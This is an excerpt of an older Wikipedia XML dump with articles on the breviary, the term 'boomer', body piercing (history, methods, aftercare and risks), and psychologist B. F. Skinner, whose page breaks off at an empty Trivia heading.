      <text xml:space="preserve">A '''breviary''' (from [[Latin]] ''brevis'', 'short' or 'concise') is a [[liturgy|liturgical]] [[book]] containing the public or canonical [[prayer]]s, [[hymn]]s, the [[Psalms]], readings, and notations for everyday use, especially for priests, in the Divine Office (i.e., at the [[canonical hours]] or [[Liturgy of the Hours]], the Christians' daily prayer). A breviary of such convenient size that it could be carried on the person is called a portuary (portas in plural).
[[Image:Stuartbreviary.jpg|thumb|250px|[[Maria Stuart|Mary Stuart]]'s personal breviary, which she took with her to the scaffold, is preserved in the [[Russian National Library]] of [[St. Petersburg]].]]

Before the rise of the [[mendicant order]]s (wandering [[friar]]s) in the thirteenth century, the daily services were usually contained in a number of large volumes. The first occurrence of a single manuscript of the [[Canonical hours|daily office]] was written by the [[Benedictine]] order at [[Monte Cassino]] in [[Italy]] in 1099. By a strange twist, the [[Benedictine]]s were not a [[mendicant order]], but a stable, [[monastery]]-based order, and single-volume breviaries are rare from this early period.

However, mendicant friars travelled around a lot and needed a shortened, or abbreviated, daily office contained in one portable book, and single-volume breviaries flourished from the thirteenth century onwards.

These abbreviated volumes soon became very popular and eventually supplanted the [[Roman Catholic Church]]'s [[Curia]] office, previously said by [[clergy]].

Before the advent of [[printing]], breviaries were written by hand and were often richly decorated with initials and miniature illustrations telling stories in the lives of [[Christ]] or the [[saints]], or stories from the [[Bible]].

Later printed breviaries usually have [[woodcut]] illustrations, interesting in their own right but the poor relation of the beautifully [[illuminated manuscript|illuminated]] breviaries.

The word ''breviary'' can also refer to an abridged version of any text, a brief account or a summary of some subject.

== See also ==
* [[Matins]]
* [[Lauds]]
* [[Prime (liturgy)|Prime]]
* [[Terce]]
* [[Sext]]
* [[None (liturgy)|None]]
* [[Vespers]]
* [[Compline]]
* [[Little Office of the Blessed Virgin Mary]]

==External links==
*[http://www.anglicanbreviary.com/ The Anglican Breviary]: The Divine Office, in Jacobean English, ie. The Roman Breviary according to the Language and Psalter of the 1662 Book of Common Prayer, with excerpts from the 1611 Authorised Version of the Holy Scriptures. 
*[http://www.breviary.info/ The breviary information server]: Web site dedicated to breviaries, and particularly to making the most of the Church of England's daily office; includes a link to the office online
*[http://www.kellerbook.com/ Kellerbook.com]: Information about the history of some Christian breviaries and psalters
*[http://www.universalis.com/ Universalis Online Breviary]
*[http://www.ebreviary.com/ Liturgy of the Hours by eBreviary] (A5 size booklet arrangement for those requiring print-outs, whether for individual Hours or all the Hours of a day combined)
*[http://www.breviary.net/ Latin-English Catholic Roman Breviary 1911 ed.]
*[http://www.saint-mike.org/apologetics/qa/Answers/Divine_Office/buyOffice.html Official Catholic editions of the Latin Rite breviary in American English]
*[http://www.chartreux.org/en/texts.html Liturgy of the Carthusian Order of the Catholic Church]
*[http://www.litpress.org/Detail.aspx?ISBN=0814628338 Benedictine Divine Office]
*[http://www.amazon.com/gp/product/0005995043 abbreviated Catholic Divine Office, approved for use in Commonwealth countries]

[[Category:Catholic liturgical books]]
[[Category:Liturgy of the Hours|*]]

[[pl:Brewiarz]]
[[sv:Breviarium]]
[[fi:Breviario]]</text>
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  </page>
  <page>
    <title>Boomer</title>
    <id>4866</id>
    <revision>
      <id>39505371</id>
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      <contributor>
        <ip>64.181.143.2</ip>
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      <comment>/* Entertainment */</comment>
      <text xml:space="preserve">The term '''boomer''' may refer to:

=== Demographic ===
* An abbreviation for [[baby boomer|baby '''boomer''']]
* A mostly archaic American term for workers who travel from location to location, following jobs as they become available, especially in the [[construction]], [[electric power]], [[petroleum]], and [[railroad]] industries.  This is the source of such terms as &quot;oil boom&quot; and &quot;boomtown.&quot;  &quot;Boom up&quot; means to move on to another job or location.  &quot;Bump up,&quot; a term used today in [[wildfire|wildland fire]], has the same meaning as &quot;boom up&quot; and is probably a bastardization of that term.
* An early white settler of [[Indian Territory]] ([[Oklahoma]]). See '''[[Sooners]]'''.

=== Entertainment ===
* A [[boomer (anime term)|type of robot]] from the ''[[Bubblegum Crisis]]'' series
* [[Boomer Esiason|'''Boomer''' Esiason]], former [[National Football League|NFL]] quarterback
* [[Chris Berman|Chris &quot;Boomer&quot; Berman]], [[ESPN]] football anylyst.
* a television show  called '''''[[Here's Boomer]]'''''
* [[Meltdown (comics)|Meltdown]], from [[Marvel Comics|Marvel's]] [[X-Men]] comics
*'''[[Boomer (Battlestar Galactica)]]''', a character from the television show ''[[Battlestar Galactica (original series)|Battlestar Galactica]]'' and its [[Battlestar Galactica (2003)|2003 remake]]
* Boston Red Sox pitcher [[David Wells]]
* A member of [[The Rowdyruff Boys]]
* A popular bot in the popular online game [[GunBound]].
* [[Boomers! Parks|Boomers!]] is a chain of [[Family Entertainment Center|Family Entertainment Centers]] owned by [[Palace Entertainment]].
* A Pfhor corvette 'liberated' and rechristened by Durandal during the story of [[Marathon (computer game series)|Marathon 2]]

* Toledo High School Mascot in Toledo Oregon : A Boomer (Mountain Beaver) &quot;GO BOOMERS&quot;

=== Military ===
* A nickname for a [[ballistic missile submarine]], based upon the fact that nuclear warheads detonate, or &quot;boom,&quot; at their targets.
* A nickname for the '''[[Boom operator (military)|boom operator]]''' on an [[aerial refuelling]] aircraft.

T

=== Nature ===
*Slang term for psilocybin mushrooms. (used in the plural)
* A male [[kangaroo]]. Term used by singer [[Rolf Harris]] in his [[Christmas]] song &quot;Six White '''Boomers'''&quot;; the [[Australia|Australian]] men's [[basketball]] team is also called the [[Boomers (Australian men's basketball)|'''Boomers''']]
* An alternate name for the [[mountain beaver]], an extremely rare burrowing [[rodent]] found in the mountains of [[Pacific Northwest|Pacific Northwestern]] and southern [[British Columbia]].  The name ''boomer'' comes from a sound it makes to sound alarm or seek a mate.

{{disambig}}
[[fr:Boomer]]</text>
    </revision>
  </page>
  <page>
    <title>Body piercing</title>
    <id>4867</id>
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        <ip>80.143.176.27</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:P1096446529568Stal.Bcr.1.jpeg|right|thumb|150px|A captive bead ring.]]
'''''Body piercing''''' usually refers to the piercing of a part of the [[human body]] for the purpose of wearing [[body piercing jewelry|jewelry]] in the opening created.  Body piercing is a form of [[body modification]].  The word &quot;'''piercing'''&quot; can refer to the act or practice of body piercing, or to a specific pierced opening in the body.

Some people practice piercing for [[religion|religious]] or other cultural reasons, while many individuals, particularly in the modern West, choose to be pierced for spiritual, ornamental, or sexual reasons.

==In ancient times==
Evidence suggests that body piercing (including ear piercing) has been practiced by peoples all over the world from ancient times.  
[[Mummy|Mummified]] bodies with piercings have been discovered, including the oldest mummified body discovered to date, which was found in an [[Austria]]n [[glacier]].  This mummy had an ear piercing 7&amp;ndash;11 mm in diameter. 

[[Nose piercing]] and ear piercing are mentioned in the [[Bible]]. In [[Genesis]] 24:22 [[Abraham]]'s servant gave an ear ring and bracelets to Rebekah, wife of his son Isaac.  Nose piercing has been common in [[India]] since the 16th century. &lt;!--BC or AD?--&gt; 
[[Tongue piercing]] was popular with the elite of [[Aztec]] and [[Maya civilization]], though it was carried out as part of a [[blood ritual]] and such piercings were not intended to be permanent. Ancient [[Mesoamerica]]ns wore jewelry in their ears, noses, and lower lips, and such decorations continue to be popular amongst indigenous peoples in these regions. 

==Body piercing folklore==

Many contemporary authors and body piercing enthusiasts have made attempts to explain the history or development of body piercing in Western Culture, prior to its contemporary practice.  In ''Dreamtime'' by [[Hans Peter Duerr]], he claims that [[nipple piercing]] became popular in 14th century [[Europe]]. There is evidence, both anecdotal and photographic, that nipple piercing was practiced in Europe during the late 19th century and in the early 20th century, but it was not consiedered to be a common practice.  It is sometimes claimed that [[Ancient Rome|Roman]] centurions practiced nipple piercing and that soldiers attached their capes to the piercings. This is however, not true, their capes were actually attached to the [[breastplate]] of their armor.  This particular myth owes its popularity to [[Doug Malloy]], an American piercing pioneer who published pamphlets in the late 1970's promoting his highly fanciful histories of body piercing.

==Body piercing today==

[[Image: Sharps_Container.jpg|thumb|200px|right|Immediate disposal of used needles into a sharps container is standard procedure.]]

===Modern history and societal attitudes===

[[Ear piercing]] has existed continuously since ancient times, including throughout the [[20th century]] in the Western world.  However, in many cultures within the [[United States]], it became a relative rarity from the [[1920s]] until the [[1960s]].  At that time, it regained popularity among American women, and was eventually adopted by men in the [[hippie]] and [[gay]] communities, and later the [[punk rock]] culture.  Ear piercing, of either or both ears, has always been practiced by men in many non-Western cultures.  By the [[1980s]], male ear piercing had become somewhat common in the United States, although men usually only pierced one of their ears.  Today, single and multiple piercing of either or both ears is extremely common among Western women, and fairly common among men.

Less conventional forms of body piercing have also existed continuously for as long as ear piercing, but generally not in Western cultures.  For example, women in [[India]] routinely practice [[nose piercing|nostril piercing]], and have done so for centuries.

In the [[1970s]], body piercing gained popularity in the gay [[BDSM]] sub-culture.  In [[1975]], [[Jim Ward (body piercing pioneer)|Jim Ward]] opened [[Gauntlet (body piercing studio)|The Gauntlet]], America's first storefront body piercing operation, in [[Los Angeles, California|Los Angeles]].

Attitudes toward body piercing have grown more accepting in the West and in other parts of the world.  In some areas, certain types of piercings, even those once considered radical, are becoming more accepted.  For example, while ear piercing was long uncommon among middle- and upper-class Western males, today men with pierced ears can be seen working in banks and other traditionally conservative settings in some areas, though this is by no means universal.  In other parts of the world, ear piercing is still considered inappropriate for males in many settings, as are multiple ear piercings on women.    

[[Image:Septum and labret.jpg|thumb|200px|left|Female pierced through the following: Lobe (Ear), Septum (Nose), Labret (Lips)]]

===Personal attitudes===

Attitudes towards piercing can be divisive.  Some regard the practice of piercing or of being pierced as spiritual, sometimes embracing the term &quot;modern primitive&quot;, while others deride this approach as insulting, as cultural appropriation, or as faddish.  Some see the practice as a form of artistic or self-expression, while others choose to be pierced as a form of sexual expression and/or for sexual stimulation or the perceived increase in sexual feeling that certain piercings are thought by some to create.  For some people, piercing is part of an [[Sadism and masochism|S-M]] lifestyle or relationship, or is incorporated into S-M play.   

Some people choose to be pierced for symbolic reasons.  For example, some survivors of sexual abuse have said that they experience piercing as allowing them to retake control over their own bodies.  Some people choose to be pierced to symbolize certain relationships.  For gay men, piercing has historically been viewed as a form of public self-identification or &quot;[[coming out]]&quot;.  However, the current popularity of piercing among many different groups has diluted much of its specific cultural identification and symbolism.

While some people consider body modification to be a sign of non-conformity, others deride body piercing as faddish.  This can at times lead to [[prejudice]] or [[cognitive bias]] against those with piercings or visible signs of past piercings.

==Contemporary piercing procedure==
Permanent body piercings (as opposed to [[play piercing]]s) are created by creating an opening in the body using a sharp object through the area to be pierced.  This can either be done by cutting an opening using a needle (usually a hollow medical needle) or [[scalpel]] or by removing tissue, either with a scalpel or a [[dermal punch]].

Contemporary body piercing studios generally take numerous precautions to protect the health of the person being pierced and the piercer.  Tools and jewelry are sterilised in [[autoclave]]s and non-autoclavable surfaces are cleaned with sterilising agents on a regular basis and between clients.  Sterile, single use gloves are worn by the piercer to protect both the piercer and the client.

===Standard Needle Method===
The standard method in the United States involves making an opening using a hollow medical needle.  The needle is inserted into the body part being pierced, but not all the way through. While still in the body, the initial jewelry to be worn in the piercing is pushed through the opening, following the back of the needle.  Piercing using hollow medical needles does not actually remove any flesh, they cut a slit and hold it open in the shape of the cross section of the needle, in this case, a circle.  In this method, the needle is the same gauge or larger than the initial jewelry to be worn.  Piercings that penetrate cartilige are often pierced one or two gauges larger than the jewelry, to reduce pressure on the healing piercing, allowing for a fistula to properly form.

===Indwelling Cannula Method===
Many European (and other) piercers use a needle containing a [[cannula]] (hollow plastic tube placed at the end of the needle). Procedure is identical to the standard method, only that the initial jewelry is inserted into the back of the cannula and the cannula and the jewelry are then pulled through the piercing.  This method reduces the chance of the jewelry slipping during the insertion procedure.

===Pierce and Taper===
Similar to the standard method, this is a more advanced technique, sometimes used to pierce where large gauge initial jewelry is desired.  In this method, after the needle is inserted and the opening is created, a tapered steel bar (usually one gauge larger than that of the needle at the large end) is inserted instead of initial jewelry.  Then the jewelry is pushed through the opening, following the tapered bar.  The success of this method is dependent on the elasticity of the skin in the area being pierced, the skill of the piercer and the type of piercing being done.

===[[Scalpelling]]===
In this method, a medical [[scalpel]] is used to cut a slit, allowing for the insertion of large gauge jewelry.  This method is often used in the creation of large gauge [[ear piercing]]s.  Scalpelling can also be used to correct an improper placement on piercings, an example of this would be cutting existing large gauge ear piercings to match symmetrically.  If the jewelry is removed from a scalpelled piercing the fistula may not shrink or close over time and unwanted piercings may have to be [[surgical]]ly repaired.  Scalpelling is most commonly used on earlobes, but can be used anywhere where large gauge piercings are desired.

===Dermal Punching===
In this method, a [[dermal punch]] is used to remove a circular area of tissue, into which jewelry is placed.  This method is usually used to remove both skin and [[cartilage]] in upper ear piercings, where cartilage must be removed to relieve pressure on the piercing to ensure proper healing and long term viability of the piercing.  Like scalpelled piercings, the healed fistulas created or enlarged using a dermal punch will usually not shrink over time.

===Piercing Guns===
Piercing guns are commonly used by non-professional body piercers in retail settings to perform [[ear piercing]]s.  These gun-shaped devices force a blunt stud through flesh via mechanical means, causing much greater trauma to the body than any other piercing method.  They are often used by untrained personnel and as they cannot be properly sterilised, they place both the operator and the client at much greater risk for infection and the transmission of bloodborne pathogens than any of the methods used by professional body piercers.  Most professional body piercers do not use or recommend using these devices for any purpose.  Currently there are efforts by manufacturers to develop improved versions of these devices, for use in other body parts than the earlobe, as well as devices that lessen or eliminate the exposure of client and operators to bloodborne pathogens.

==The healing process and body piercing aftercare==
A new piercing will be sore, tender or red for several days up to three weeks.  Complete healing normally takes several weeks or more. Below are more specific healing time estimates. During this period, care must be taken to avoid [[infection]]. Touching--or, for genital and oral piercings, sexual activity--is usually discouraged.

Healing times:
*[[Septum piercing]]: 3 &amp;ndash; 6 months
*[[Eyebrow piercing]]: 2 &amp;ndash; 4 months
*[[Tongue piercing]]: 3 &amp;ndash; 6 weeks
*[[Nipple piercing]]: 10 &amp;ndash; 12 months

Over time, after the piercing, the resulting wound is allowed to heal, forming a tunnel of scar tissue called a [[fistula]]. When the piercing has fully healed, the initial jewelry may be changed or removed for short periods.

===Behaviors which tend to support successful healing===
* Revisiting the piercer for an evaluation at any time, if needed
* Practicing good [[hygiene]]
* Following the recommended aftercare guidelines
* Taking sufficient supplement tablets [[Iron]], [[Zinc]]

===Behaviors which tend to contribute to unsuccessful healing===
* Contact between the new piercing and another person's skin
* Touching the piercing, unless cleaning it, in which case only with washed hands
* Smoking and drinking alcohol (in the case of oral piercings)
* Contact between the piercing and bodily fluids, perfume or cosmetics
* [[Oral sex]] and genital intimacy, where this could cause one of the above
* Swimming in public [[swimming pool]]s, [[lakes]], [[river]]s, [[stream]]s, and [[ocean]]s as they may be too harsh to promote skin cell healing.  [[Chlorine]] in swimming pool water may be an irritant.  [[Bacteria]], [[protozoa]], and [[parasite]]s found in non-chlorinated water can lead to infections.

===Cleaning===
====Oral piercings====
For tongue, lip, cheek and labret piercings, it is recommended to rinse the mouth after eating and drinking (except water). If you smoke rinse your mouth out more, instead of rinsing it 8 to 10 times a day rinse it 10 to 16 times. Some piercers recommend using Listerine, while others, claiming that Listerine is too harsh on the piercing thereby hindering the healing process, recommend a non-alcoholic [[mouthwash]] such as Oral-B Non-Alcoholic or Biotene, or a diluted [[saline (medicine)|saline]] solution. Kissing and oral sex are advised against for 4-6 weeks after the piercing, as are excessively hot, or spicy foods. It is recommended that you should eat cold foods such as ice cream bars slushies etc...

===Changing of initial jewelry to allow for swelling===
For some piercings (in particular tongue piercings) changing the initial jewelry is an essential step. In the case of tongue piercing this is because the initial jewelry is significantly longer than the jewelry for a healed piercing, to allow for swelling.

==Risks associated with body piercing==
Body piercing is an invasive procedure and is not without risks.  When properly performed, these risks can be minimized, and most individuals who receive their piercing from a professional piercer, and who take care of their new piercing as recommended by their piercer, will enjoy a safe and healthy piercing experience.

Risks of note include:
* Allergic reaction to ingredients of products used to clean the new piercing, or of ancillary products used in proximity to the piercing (e.g., [[soap]], [[hydrogen peroxide]], [[isopropyl alcohol]], [[antibacterial|antibacterial products]], [[antiseptic|antiseptic medicines]], [[makeup]], [[hairspray]], [[swimming pool]] [[chlorine]], etc.).  This risk can be minimized by cleaning the piercing as recommended by a professional body piercer (different piercers will have differing recommendations), by not contaminating the fresh piercing with irritating products, and by not swimming in chlorinated water.
* Allergic reaction to the metal in the piercing jewelry, particularly [[nickel]].  This risk can be minimized by using high quality jewelry manufactured from surgical stainless steel or similar inert metals.
* [[bacteria|Bacterial]] [[infection]], particularly from [[Staphylococcus|''Staphylococcus aureus'']].  However, this risk is greatly reduced when the piercing is performed by a professional body piercer using best practice piercing techniques, and when appropriate steps are taken during the aftercare period to avoid infection.  Blunt force piercing, such as that associated with the use of [[ear piercing instrument]]s, increases the chance of a bacterial infections.  For that reason. among others, piercing guns should never be used to pierce any part of the body other than earlobes.
* [[parasite|Parasitic]] and [[protozoa|protozoan]] infections may occur by swimming in lakes, rivers, streams, and oceans during the healing period.  The best way to reduce this risk is to avoid swimming in these locations.
* [[Trauma]] to a fresh piercing, usually associated with unintended entanglement of the piercing jewelry with another object.  This risk is always present, but can be reduced by using jewelry appropriate for the piercing, and covering or taping over jewelry during sports activities.  Also, larger gauge piercings will tend to resist tearing better than smaller gauge piercings.
* [[virus|Viral]] infection, particularly from [[hepatitis|hepatitis B]], [[hepatitis|hepatitis C]] and [[HIV]].  However, it is important to note that although hepatitis has been transmitted through the practices of [[ear piercing]], body piercing, and [[tattoo|tattooing]], there has not yet been a case of HIV transmission associated with these procedures (see [http://www.cdc.gov/hiv/pubs/facts/transmission.htm CDC Fact Sheet: HIV and Its Transmission]).  As with bacterial infections, the risk of viral infection is minimized when proper piercing techniques are used, particularly by the use of [[autoclave|autoclaved]] disposable piercing needles and the autoclaving of jewelry prior to installation.

==List of piercing types==
===Facial and oral piercings===
* [[Bridge piercing]]
* [[Cheek piercing]]
* [[earring|Earlobe and ear cartilage piercings]]
* [[Eyebrow piercing]]
* [[Lip piercing]]
* [[Nose piercing|Nostril, septum, and bridge piercings]]
* [[Tongue piercing]]
* [[Tongue frenulum piercing]]
* [[Lip frenulum piercing]]
* [[Uvula piercing]]

===Body piercings===
* [[Madison piercing]]
* [[Navel piercing]]
* [[Nipple piercing]]
* [[Nape piercing]]
* [[Surface piercing]]

===Male genital piercings===
* [[Ampallang]]
* [[Apadravya]]
* [[Hafada]]
* [[Foreskin piercing]]
* [[Deep shaft piercing]]
* [[Dolphin piercing]]
* [[Dydoe]]
* [[Frenum ladder]]
* [[Frenum piercing]]
* [[Guiche]]
* [[Lorum]]
* [[Prince Albert piercing]]
* [[Pubic piercing]]
* [[Reverse Prince Albert piercing]]
* [[Transscrotal piercing]]

===Female genital piercings===
* [[Christina piercing]]
* [[Clitoris piercing]]
* [[Clitoral hood piercing|Horizontal and vertical clitoral hood piercing]]
* [[Triangle piercing]]
* [[Fourchette piercing]]
* [[Isabella piercing]]
* [[Labia piercing|Inner and outer labia piercing]]
* [[Nefertiti piercing]]
* [[Princess Albertina]]

==See also==
{{Commons|Body piercing}}
* [[Body modification]]
* [[Body piercing jewelry]]
* [[Body piercing materials]]
* [[Ear piercing instrument]]
* [[Earring]]
* [[Scalpelling]]
* [[Tattoo]]ing
* [[Famous people with piercings]]

==Related Media==
&lt;!-- NOTE:  The following images seem to have been removed so I am commenting them out until the situation is remedied.
The following [[Adobe]] [[pdf]] documents are examples from a single piercing studio:
* [[Media:Body_Modification_Code_of_Ethics.pdf|A body modification code of ethics]]
* [[Media:Required_Legal_Forms_And_Aftercare_Sheets.pdf|The studio's Required legal forms and aftercare sheets]]
* [[Media:Sizing_Chart.jpg|A chart for sizing gloves and measuring jewelry gauge and size]] 
* [[Media:Piercing_Class_Difficulty_and_Pricing.pdf|A list of piercings' difficulty and pricing]] 
* [[Media:Needles.pdf|Examples of different kinds of needles used for body piercing, and a few examples of how to dispose of them]]  
* [[Media: Body_Piercing_Aftercare_and_Healing.pdf|Some healing related issues that relate to body piercing ]] 
* [[Media:How to Test Jewelry.pdf|A guide to testing jewelry]] --&gt;
* [[Media:Gauge_Chart.pdf|A chart comparing wire gauges likely to be encountered when making jewelry]] 

==External links==
* [http://www.BodyMod.org/ BodyMod.org - Piercing Galleries and an online community of people from around the world with interest in Body Piercings.]
* [http://www.safepiercing.org/ American Association of Professional Piercers' website]
* [http://www.bmezine.com/ Body Modification E-Zine  -A very extensive source of pictures ,convention etc']
* [http://www.piercing.com/ Piercing.com - an international body modification website]

[[Category:Body modification]]
[[Category:Body piercing|*]]
[[Category:Body art]]
[[Category:1990s fads]]

[[da:Piercing]]
[[de:Piercing]]
[[es:Piercing]]
[[eo:Korpa traborado]]
[[fr:Piercing]]
[[it:Piercing]]
[[he:פירסינג]]
[[nl:Piercing]]
[[pl:Piercing]]
[[pt:Piercing]]
[[ru:Пирсинг]]
[[sk:Piercing]]
[[sr:Пирсинг]]
[[fi:Lävistys]]
[[sv:Piercing]]</text>
    </revision>
  </page>
  <page>
    <title>Burrhus Frederic Skinner</title>
    <id>4868</id>
    <revision>
      <id>42110646</id>
      <timestamp>2006-03-03T22:12:02Z</timestamp>
      <contributor>
        <username>Where</username>
        <id>722151</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.124.185.23|70.124.185.23]] to last version by Skagedal</comment>
      <text xml:space="preserve">[[Image:Skinner.jpg|thumb|right|Burrhus Frederic Skinner]]
'''Burrhus Frederic Skinner''' ([[March 20]], [[1904]] &amp;ndash; [[August 18]], [[1990]]) was an [[United States|American]] [[psychologist]] and author.  He conducted pioneering work on [[experimental psychology]] and advocated [[behaviorism]], which seeks to understand behavior as a function of environmental histories of reinforcement.  He also wrote a number of controversial works in which he proposed the widespread use of psychological [[behavior modification]] techniques, primarily [[operant conditioning]], in order to improve [[society]] and increase human [[happiness]], as a form of [[Social engineering (political science)|social engineering]].

==Life==
Skinner was born in rural [[Susquehanna]], [[Pennsylvania]]. He attended [[Hamilton College]] in [[New York]] with the intention of becoming a writer and received a [[Bachelor of Arts|B.A]]. in English literature in [[1926]]. After graduation, he spent a year in [[Greenwich Village]] attempting to become a writer of fiction, but he soon became disillusioned with his literary skills and concluded that he had little world experience and no strong personal perspective from which to write. During this time, which Skinner later called &quot;the dark year,&quot; he chanced upon a copy of [[Bertrand Russell]]'s Philosophy in which Russell discusses the behaviorist philosophy of psychologist [[John B. Watson]]. At the time, Skinner had begun to take more interest in the actions and behaviors of those around him, and some of his short stories had taken a &quot;psychological&quot; slant. He decided to abandon literature and seek admission as a graduate student in psychology at Harvard University (which at the time was not regarded as a leading institution in that field).

Skinner received a Ph.D. from [[Harvard]] in 1931 and remained at that institution as a researcher until 1936. He then taught at the [[University of Minnesota]] at Minneapolis and later at [[Indiana University Bloomington|Indiana University]] before returning to Harvard as a tenured professor in 1948. He remained there for the rest of his career.
Skinner was granted numerous awards in his lifetime. In [[1968]], he received the [[National Medal of Science]] by President [[Lyndon B. Johnson]]. Three years later, he was awarded the Gold Medal of the [[American Psychological Foundation]], and in 1972, he was given the Humanist of the Year Award of the [[American Humanist Association]]. Just eight days before his death, he received the first Citation for Outstanding Lifetime Contribution to Psychology by the [[American Psychological Association]] (Epstein, 1997).

==Behaviorism==
Skinner was mainly responsible for the development of the philosophy of [[neo behaviorism]] and for the further development of applied [[behavior analysis]], a branch of psychology which aims to develop a unified framework for animal and human behavior based on principles of [[learning]].  He conducted research on shaping behavior through positive and negative [[reinforcement]] and demonstrated [[operant conditioning]], a behavior modification technique which he developed in contrast with [[classical conditioning]].

Skinner did not advocate the use of [[punishment]]. His research suggested that punishment was an ineffective way of controlling behavior, leading generally to short-term behavior change, but resulting mostly in the subject attempting to avoid the punishing [[stimulus]] instead of avoiding the behavior that was causing punishment. A simple example of this is the failure of [[prison]] to eliminate criminal behavior. If prison (as a punishing stimulus) were effective at altering behavior, there would be no criminality, since the risk of imprisonment for criminal conduct is well established. However, individuals still commit offences, but attempt to avoid discovery and therefore punishment. The punishing stimulus does not stop criminal behaviour.  The criminal simply becomes more sophisticated at avoiding the punishment. [[Reinforcement]], both positive and negative (the latter of which is often confused with punishment), proves to be more effective in bringing about lasting changes in behaviour.

==Superstition in the pigeon==
One of Skinner's most famous and interesting experiments examined the formation of [[superstition]] in one of his favorite experimental animals, the [[pigeon]].  Skinner placed a series of hungry pigeons in a cage attached to an automatic mechanism that delivered food to the pigeon &quot;at regular intervals with no reference whatsoever to the bird's behaviour&quot;.  Whatever chance actions each bird had been performing as food was delivered was strengthened, so the bird continued to perform the same actions:

&lt;blockquote&gt;One bird was conditioned to turn counter-clockwise about the cage, making two or three turns between reinforcements. Another repeatedly thrust its head into one of the upper corners of the cage. A third developed a 'tossing' response, as if placing its head beneath an invisible bar and lifting it repeatedly. Two birds developed a pendulum motion of the head and body, in which the head was extended forward and swung from right to left with a sharp movement followed by a somewhat slower return.&lt;br /&gt;—{{cite journal|title='Superstition' in the Pigeon|author=B.F. Skinner|journal=Journal of Experimental Psychology|volume=38|year=1947 |url=http://psychclassics.yorku.ca/Skinner/Pigeon/}}&lt;/blockquote&gt;

&lt;blockquote&gt;The experiment might be said to demonstrate a sort of superstition. The bird behaves as if there were a causal relation between its behaviour and the presentation of food, although such a relation is lacking. There are many analogies in human behaviour. Rituals for changing one's luck at cards are good examples. A few accidental connections between a ritual and favourable consequences suffice to set up and maintain the behaviour in spite of many non-reinforced instances. The bowler who has released a ball down the alley but continues to behave as if he were controlling it by twisting and turning his arm and shoulder is another case in point. These behaviours have, of course, no real effect upon one's luck or upon a ball half way down an alley, just as in the present case the food would appear as often if the pigeon did nothing -- or, more strictly speaking, did something else.&lt;br /&gt;—''ibid''&lt;/blockquote&gt;

==Social engineering==
Skinner is popularly known mainly for his controversial books ''[[Walden Two]]'' and ''[[Beyond Freedom and Dignity]]''.  ''[[Walden Two]]'' describes a visit to an imaginary [[utopian]] [[commune (intentional community)|commune]] in the [[1940s]] United States, where the productivity and happiness of the citizens is far in advance of that in the outside world due to their practice of scientific social planning and the use of operant conditioning in the raising of children. 
Walden Two, like [[Henry David Thoreau|Thoreau]]'s [[Walden]], champions a lifestyle that doesn't foster competition and social strife and doesn't support war. It favors and encourages a lifestyle of minimal consumption, rich social relationships, personal happiness, satisfying work and leisure.

''[[Beyond Freedom and Dignity]]'' advanced the thesis that obsolete social concepts, like [[free will]] and human dignity (by which Skinner meant belief in individual autonomy) stood in the way of greater human happiness and productivity. Skinner was just as opposed to inhumane treatment and bad government as many, and perhaps more than some, but he argued that the champions of freedom went so far as to deny causality in human action so they could champion the &quot;free person.&quot; So the champions of freedom were, in a sense, the enemies of a scientific way of knowing. There is a rough parallel here to the book &quot;[[Higher Superstition]]&quot; in the opposition to scientific knowledge, except Skinner here is being much more general.

Dignity is the practice of giving individuals credit for their actions. To say &quot;Skinner is brilliant&quot; means that Skinner is an originating force. If Skinner is right, he is merely the focus of his environment. He is not an originating force and he had no choice in saying the things he said or doing the things he did. Skinner's environment and genetics allowed and made him write his book. This is not to say that that means it is not true. The environment and genetics of the advocates of freedom and dignity make them fight the reality of their activity being grounded in determinism.

== Rumors ==

One often-repeated story claims that Skinner ventured into human experiments by raising his daughter Deborah in a [[Skinner box]], which led to her life-long mental illness and a bitter resentment towards her father.

In fact, the Heir Conditioner, a term for Skinner's baby crib, was heated, cooled, had filtered air, allowed plenty of space to walk around in, and was much like a miniature version of a modern home. It was designed to make the baby more confident, more comfortable, less sick, less prone to cry, and so on. Reportedly it had some success in these goals. 

Psychologist and author [[Lauren Slater]] published a book, &quot;Opening Skinner's Box,&quot; in 2004, which mentioned claims that Deborah unsuccessfully sued her father for abuse and later committed suicide. The book then immediately pointed out that the reality was rather different. However, at least one reviewer misread the book and reported it as making the claims without correcting them. In response, Deborah Skinner herself came forward to publicly denounce the story as nothing more than hearsay and presumably to vouch for her own continued existence. She blasted Lauren Slater's book for repeating this urban legend as being vicious and harmful; she was presumably relying on someone else's inaccurate depiction of the book's contents. See &quot;I was not a lab rat&quot; in the Guardian Unlimited Friday March 12, 2004 for the full text of Deborah's denunciation. [http://books.guardian.co.uk/departments/healthmindandbody/story/0,6000,1168052,00.html]

As much as anything, this episode showed how rumours come into being - even now, journalists still write articles as if the Slater book was in support of, rather than against, the original rumours about Skinner's treatment of his children.

== Political Views ==

Skinner's political writings emphasized his hopes that an effective and humane science of behavioral control - a behavioral technology - could solve human problems which were not solved by earlier approaches or were actively aggravated by advances in physical technology such as the [[atomic bomb]]. One of Skinner's stated goals was to prevent humanity from destroying itself.

Skinner was sometimes accused of being a [[totalitarian]] by his critics, and it is not difficult to see why. In addition to his aspirations to state design, Skinner was a [[determinist]], believing that all of our behavior is profoundly determined and influenced by the environment. 

Skinner saw the problems of political control not as a battle of [[domination]] versus [[freedom]], but as choices of what kinds of control were used for what purposes. Skinner opposed the use of [[coercion]], [[punishment]] and [[fear]] and supported the use of [[positive reinforcement]]. 

Skinner's book [[Walden Two]] presents a vision of a decentralized, localized society which applies a practical, scientific approach and futuristically advanced behavioral expertise to peacefully deal with social problems. Skinner's [[utopia]], like every other utopia or [[dystopia]], is both a thought experiment and a [[rhetoric]]al work. 

Skinner answers a problem that exists in many utopian novels &quot;What is the Good Life?&quot; Skinner answers that it is a life of friendship, health, art, a healthy balance between work and leisure, a minimum of unpleasantness, and a feeling that one has made worthwhile contributions to one's society. 

Additionally Skinner felt behavioral technology would offer alternatives to coercion, good science applied right would help society, and we would all be better off if we cooperated with each other peacefully. Skinner's novel has been described by Skinner as &quot;my New [[Atlantis]]&quot; referring to Bacon's utopia. 

Intellectual opponents, such as [[Noam Chomsky]], in their attempt to show Skinner wrong, have equated Skinner's philosophic determinism with [[political oppression]]. Skinner has often been equated to political and social positions he never espoused and even explicitly objected to.

==Trivia==

